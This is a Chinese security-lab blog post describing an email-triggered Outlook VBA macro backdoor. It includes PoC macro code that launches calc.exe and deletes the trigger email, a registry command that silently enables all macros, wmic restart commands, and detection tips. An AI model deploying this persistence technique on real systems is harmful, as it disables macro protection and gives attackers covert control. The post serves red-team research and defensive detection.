利用Outlook宏创建基于邮件触发的后门

admin 2023年3月17日11:02:12评论109 views字数 2234阅读7分26秒阅读模式

>>>0x01 背景

在研究Outlook相关的后门技术时,发现除了基于Outlook规则、表单、主页相关的后门外还有另外一种后门。据该技术发现者说,该技术还没有被红队和蓝队所关注。而目前ATT&CK技术项中,也确实还未收录该种Outlook后门技术。

另外,该后门是通过攻击者向用户发送一封包含特定关键字的邮件进行主动触发从而执行,与平时一般使用的“被动触发“后门明显不同。因此,对该技术进行实验并记录。

利用Outlook宏创建基于邮件触发的后门


>>>> 0x02 技术原理


跟大多数的Microsoft Office产品一样,Outlook也可以创建宏。
 
启用开发者选项,并通过VB编辑器来创建基于VBA的宏。打开编辑器,创建一个简单的宏文件,将看到一个名为ThisOutlookSession的Outlook模块:

利用Outlook宏创建基于邮件触发的后门

保存之后,Outlook将会在%APPDATA%RoamingMicrosoftOutlook目录中创建一个VbaProject.OTM文件:

利用Outlook宏创建基于邮件触发的后门

在默认配置下是无法执行这个宏的,因为默认配置为“除了已签名的宏之外,禁用所有其他宏”。

利用Outlook宏创建基于邮件触发的后门

但是,可通过使用以下值修改注册表键HKU<USER SID>SOFTWAREMicrosoftOffice16.0OutlookSecurityLevel来修改此配置:

Level值定义的是宏安全配置,包含下列值,分别对应四种宏安全设置:
4 = 不通知,禁用所有宏3 = 为有数字签名的宏提供通知,禁用所有其他宏2 = 为所有宏提供通知1 = 启用所有宏

注意:
  • 经过实验,原作者提出的修改路径HKCU下对应Level键值无法生效。需修改注册表HKU<用户SID>下的Level键值。
  • 如果在修改Level键值之前Outlook已经在运行,那么,在修改Level值后则需要重启Outlook。
 
利用Outlook宏创建基于邮件触发的后门
利用Outlook宏创建基于邮件触发的后门

设置后门时,将Level值设置为1即可,即允许宏以隐蔽方式运行而不通知用户。
 
ThisOutlookSession模块允许我们订阅Outlook中的各种事件,比如说Outlook打开或用户自行操作的某些事件,例如指定的邮件送达等。这里,我们使用带有特定主题的邮件来触发后门执行。


>>>> 0x03 攻击利用


直接借用现有代码
 
PoC
'Outlook启动时首先订阅默认收件箱的相关事件Option ExplicitPrivate WithEvents olInboxItems As ItemsPrivate Sub Application_Startup() Set olInboxItems = Session.GetDefaultFolder(olFolderInbox).ItemsEnd Sub '回调函数,监听新邮件到达事件Private Sub olInboxItems_ItemAdd(ByVal Item As Object) On Error Resume Next Dim olMailItem As MailItem If TypeOf Item Is MailItem Then ' 对邮件主题进行过滤,只有特定关键字主题邮件到达才触发后门执行 If InStr(olMailItem.Subject, "通知") > 0 Then Shell "calc.exe" olMailItem.Delete End If End If Set Item = Nothing Set olMailItem = NothingEnd Sub

本地Outlook创建、调试完成之后,将对应的VbaProject.OTM文件上传至目标机器。

利用Outlook宏创建基于邮件触发的后门

修改对应注册表Level值
reg add HKU<USER SID>SOFTWAREMicrosoftOffice16.0OutlookSecurity /v "Level" /t REG_DWORD /d "0x1" /f

重启Outlook
wmic process where name="outlook.exe" call terminatewmic process call create "C:Program FilesMicrosoft OfficeOffice16OUTLOOK.EXE"

测试执行:

利用Outlook宏创建基于邮件触发的后门
利用Outlook宏创建基于邮件触发的后门
利用Outlook宏创建基于邮件触发的后门



>>>> 0x04 攻击检测


我们已经熟悉了该技术原理,用户很少在Outlook中自定义宏,同时主动修改宏的默认安全配置。因此可通过以下两方面检测攻击。
  • 检测%APPDATA%RoamingMicrosoftOutlookVbaProject.OTM文件的创建和修改;
  • 检测HKU<SID>SoftwareMicrosoftOffice16.0OutlookSecurityLevel键值的修改;

e.g
利用Outlook宏创建基于邮件触发的后门



>>>> 0x05 参考

https://www.mdsec.co.uk/2020/11/a-fresh-outlook-on-mail-based-persistence/


银河实验室

利用Outlook宏创建基于邮件触发的后门

银河实验室(GalaxyLab)是平安集团信息安全部下一个相对独立的安全实验室,主要从事安全技术研究和安全测试工作。团队内现在覆盖逆向、物联网、Web、Android、iOS、云平台区块链安全等多个安全方向。
官网:http://galaxylab.pingan.com.cn/


往期推荐

S2-062漏洞原理分析

技术解析 | JWT弱点的利用方式

EBPF恶意利用及防御

CodeQL进阶知识(Java)

TP-Link-WDR-7660 安全研究之构造基于串口CMD的调试器



点赞、分享,感谢你的阅读▼ 


▼ 点击阅读原文,进入官网

原文始发于微信公众号(平安集团安全应急响应中心):利用Outlook宏创建基于邮件触发的后门

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月17日11:02:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   利用Outlook宏创建基于邮件触发的后门https://cn-sec.com/archives/1227228.html

发表评论

匿名网友 填写信息